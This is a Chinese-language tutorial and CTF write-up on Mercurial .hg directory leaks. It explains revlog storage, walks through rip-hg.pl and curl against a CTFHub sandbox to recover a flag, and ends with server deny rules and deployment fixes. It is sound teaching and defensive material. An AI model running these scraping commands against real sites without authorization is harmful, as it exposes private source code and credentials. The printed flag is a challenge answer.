前言
Mercurial(简称 hg,化学元素汞的符号)是一种分布式版本控制系统,与 Git 类似,广泛应用于代码管理。和 .git、.svn 一样,当开发人员将包含 .hg 目录的项目直接部署到 Web 服务器根目录,且未做访问限制时,攻击者就可能通过下载 .hg 目录中的元数据,恢复源代码、历史版本,甚至获取敏感信息。
本文将介绍 .hg 信息泄露漏洞的原理、使用 dvcs-ripper 自动化挖掘漏洞的过程,以及对应的 防护措施。
一、漏洞原理
1.1 .hg 目录结构
Mercurial 在每个仓库的根目录下维护一个 .hg 目录,用于存储版本控制所需的全部元数据。其核心结构如下:
1.hg/
2 00changelog.i # 变更日志索引,记录所有提交历史
3 dirstate # 工作目录状态(哪些文件被跟踪、修改、删除)
4 requires # 仓库格式版本要求
5 branch # 当前分支名
6 last-message.txt # 上次提交信息
7 undo.branch # 撤销操作相关
8 undo.desc
9 undo.dirstate
10 store/ # 核心数据存储区
11 00changelog.i # 提交历史的 revlog(索引)
12 00changelog.d # 提交历史的 revlog(数据,大文件时存在)
13 00manifest.i # 清单文件的 revlog(记录每个版本中包含的文件列表)
14 00manifest.d # 清单文件的数据部分
15 fncache # 文件名缓存,记录所有被跟踪文件对应的 revlog 路径
16 undo # 撤销数据
17 data/ # 各文件的历史版本 revlog
18 index.html.i # index.html 的 revlog 索引
19 index.html.d # index.html 的 revlog 数据(大文件时存在)
20 flag_xxxx.txt.i # 其他文件的 revlog 索引
21 flag_xxxx.txt.d # 其他文件的 revlog 数据
1.2 Revlog 存储机制
Mercurial 使用 revlog(revision log)格式来存储所有版本数据。每个被跟踪的文件都有一个对应的 revlog,由一对文件组成:
.i文件(索引):包含版本元数据(节点 ID、父节点、偏移量、长度、内容压缩方式等)。对于小文件,内容会直接内联在.i文件中。.d文件(数据):当文件内容较大时,实际数据存储在这里。
关键风险点:
- 完整历史暴露:
.hg/store/data/下保存了每个文件所有历史版本的 revlog。攻击者一旦下载这些文件,就能恢复任意历史版本的内容。 - 变更日志泄露:
00changelog.i中记录了每次提交的描述、作者、时间戳和修改的文件列表。即使某些 revlog 文件被删除或无法访问,攻击者仍能通过变更日志得知哪些文件曾经被提交过。 - dirstate 暴露当前状态:
dirstate文件记录了工作目录中文件的状态(正常、已修改、已添加、已删除等),帮助攻击者了解服务器上当前部署了哪些文件。
1.3 为什么会泄露
- 直接克隆/检出到 Web 目录:开发者使用
hg clone或hg update后直接将其作为网站根目录,未清理.hg。 - Web 服务器未限制隐藏目录访问:Nginx/Apache 未配置禁止访问
.hg等隐藏目录。 - 误操作上传:在部署时误将
.hg目录打包上传至生产环境。
二、漏洞利用:使用 dvcs-ripper 挖掘 .hg 泄露
2.1 工具简介
dvcs-ripper 是一款专门从 Web 可访问的分布式版本控制系统中抓取仓库的工具,支持 Git、Mercurial (hg)、SVN、Bazaar (bzr)、CVS 等。它能自动化下载版本控制元数据,并尝试恢复源代码。
2.2 安装依赖
dvcs-ripper 本身是用 Perl 编写的,依赖基本的 Perl 模块。更重要的是,rip-hg.pl 需要本地安装 hg(Mercurial)客户端,因为它依赖 hg status -A 获取文件列表,并用 hg revert 恢复文件。
1# Debian / Ubuntu
2sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libio-all-lwp-perl mercurial
如果无 root 权限,可以手动下载 deb 包并解压使用(参考下方实战中的处理方式)。
2.3 基础用法
1# 基础抓取
2./rip-hg.pl -v -u http://target/.hg/
3
4# 忽略 SSL 证书验证
5./rip-hg.pl -s -v -u https://target/.hg/
6
7# 使用代理
8./rip-hg.pl -v -p socks://localhost:1080 -u http://target/.hg/
参数说明:
-u <URL>:目标.hg目录的 URL(必需)-v:显示详细信息(-vv更详细)-s:忽略 SSL/TLS 证书验证-p <proxy>:使用 HTTP/SOCKS 代理-c:抓取结束后自动执行hg revert(默认开启)
2.4 工作原理
rip-hg.pl 的执行流程:
- 探测 404 响应特征:发送随机文件请求,检测服务器是否将 404 错误伪装成 200 响应(CTF 平台常见)。
- 下载基础元数据:下载
.hg/下的已知文件,包括00changelog.i、dirstate、requires、store/00changelog.i、store/00manifest.i、store/fncache等。 - 获取文件列表:运行
hg status -A命令,结合.hg/dirstate和当前工作目录状态,生成需要下载的文件列表。 - 批量下载 revlog:对每个文件,构造
store/data/<filename>.i和store/data/<filename>.d的路径并下载。 - 自动恢复:对每个成功下载的 revlog,调用
hg revert <file>恢复文件内容。
2.5 实战演示
以下以 CTFHub 的 Mercurial 信息泄露题目为例。
第一步:运行 rip-hg.pl
1./rip-hg.pl -v -u http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg
如果系统未安装 hg,会报错:
1cannot find hg: No such file or directory at ./rip-hg.pl line 140.
此时需要安装 Mercurial。在无 root 权限环境下,可以手动下载 deb 包:
1# 下载 mercurial 和 mercurial-common(核心 Python 代码在此包中)
2apt-get download mercurial mercurial-common
3
4# 解压到用户目录
5mkdir -p ~/hg-tools
6dpkg -x mercurial_*.deb ~/hg-tools
7dpkg -x mercurial-common_*.deb ~/hg-tools
8
9# 修复启动脚本中的 libdir 占位符(dpkg -x 不会执行 postinst)
10sed -i "s|libdir = '@LIBDIR@'|libdir = '/home/san/hg-tools/usr/lib/python3/dist-packages'|" ~/hg-tools/usr/bin/hg
11
12# 验证安装
13~/hg-tools/usr/bin/hg --version
第二步:重新运行工具
将 hg 加入 PATH 后再次执行:
1PATH=~/hg-tools/usr/bin:$PATH ./rip-hg.pl -v -u http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg
输出示例:
1[i] Downloading hg files from http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg
2[i] Auto-detecting 404 as 200 with 3 requests
3[i] Getting correct 404 responses
4[d] found 00changelog.i
5[d] found dirstate
6[d] found requires
7[d] found last-message.txt
8[d] found undo.branch
9[d] found undo.desc
10[d] found undo.dirstate
11[d] found store/00changelog.i
12[d] found store/00manifest.i
13[d] found store/fncache
14[d] found store/undo
15[i] Running hg status to check for missing items
16[i] Got items with hg status: 26
17[!] Not found for store/data/flag_237513528.txt.d: 404 Not Found
18[!] Not found for store/data/flag_237513528.txt.i: 404 Not Found
19[d] found store/data/index.html.i
20[d] found store/data/50x.html.i
21[i] Finished (2 of 27)
第三步:分析结果
工具恢复了 index.html 和 50x.html,但 flag_237513528.txt 的 revlog 文件(.i 和 .d)返回 404,说明服务器上没有暴露该文件的 revlog。
查看恢复的 index.html:
1<html>
2 <head><meta charset="UTF-8" /><title>CTFHub 信息泄露 hg</title></head>
3 <body>
4 <h1>信息泄露 - Mercurial</h1>
5 <p>Flag 在服务端旧版本的源代码中, 不太好使的情况下, 试着手工解决。</p>
6 </body>
7</html>
第四步:查看变更日志
即使 revlog 文件缺失,.hg/00changelog.i 中仍保留了提交历史:
1hg log -v
输出:
1changeset: 1:3327e721cc44
2tag: tip
3user: CTFHubSandBox <sandbox@ctfhub.com>
4date: Tue Jun 02 13:50:46 2026 +0000
5files: flag_237513528.txt
6描述:
7add flag
8
9changeset: 0:d1f4f2853a89
10user: CTFHubSandBox <sandbox@ctfhub.com>
11date: Tue Jun 02 13:50:44 2026 +0000
12files: 50x.html index.html
13描述:
14init
从日志中可以确认 flag_237513528.txt 在 changeset 1 中被添加。
第五步:手工解决
根据题目提示"试着手工解决",尝试直接访问文件本身:
1curl http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/flag_237513528.txt
成功获取 flag:
1ctfhub{f8a04365d5e798a333f1d9ee}
为何能直接访问? 在真实的 .hg 泄露场景中,即使 revlog 文件因某些原因未暴露(如被管理员删除、服务器配置差异),工作目录中的实际文件仍可能存在于服务器文件系统中。此时直接构造 URL 访问文件即可获取内容。
三、防护措施
3.1 Web 服务器层面
Nginx:
1# 禁止访问所有以点开头的隐藏目录和文件
2location ~ /\. {
3 deny all;
4 return 404;
5}
6
7# 或仅禁止特定版本控制目录
8location ~ /\.(hg|git|svn|bzr|cvs) {
9 deny all;
10 return 404;
11}
Apache:
1# httpd.conf 或 .htaccess
2<DirectoryMatch "^\.">
3 Require all denied
4</DirectoryMatch>
5
6# 或仅禁止特定目录
7<DirectoryMatch "\.(hg|git|svn|bzr|cvs)">
8 Require all denied
9</DirectoryMatch>
3.2 部署流程层面
导出而非克隆:使用
hg archive或hg export导出纯代码文件,不包含.hg目录。1hg archive -t files /var/www/html部署前清理:在 CI/CD 流程中显式删除版本控制目录。
1rm -rf .hg .git .svn .bzr CVS使用
rsync排除:1rsync -av --exclude='.hg' --exclude='.git' ./ deploy@server:/var/www/
3.3 安全扫描与监控
- 目录扫描:定期使用目录扫描工具(如 Dirsearch、Gobuster)检测是否暴露了
.hg等敏感目录。 - WAF 规则:在 Web 应用防火墙中配置规则,拦截对
/.hg/、/.git/、/.svn/等路径的访问请求。 - 代码审查:在合并代码前审查部署脚本,确保不会意外上传
.hg目录。
3.4 漏洞修复建议
若已发现泄露:
- 立即移除
.hg目录,不要仅依赖服务器配置做访问控制。 - 更换所有泄露的敏感信息(数据库密码、API Key、Token 等)。
- 审计变更日志:使用
hg log -v检查.hg/00changelog.i中记录的提交历史,确认是否有更多敏感文件曾被提交。 - 检查历史版本:由于 revlog 中可能包含文件的所有历史版本,即使当前版本已删除敏感内容,旧版本中仍可能存在。建议审查仓库完整历史。
四、总结
Mercurial (.hg) 信息泄露与 Git (.git)、SVN (.svn) 泄露属于同一类配置型安全漏洞,核心原因是将版本控制的工作副本直接部署到生产环境。dvcs-ripper 能够高效自动化地抓取 .hg 目录中的 revlog 数据,恢复源代码和历史版本。
防御的核心原则不变:生产环境只应包含运行所需的代码文件,绝不包含任何版本控制元数据。通过规范的部署流程、Web 服务器访问控制以及定期安全扫描,可以有效杜绝此类漏洞。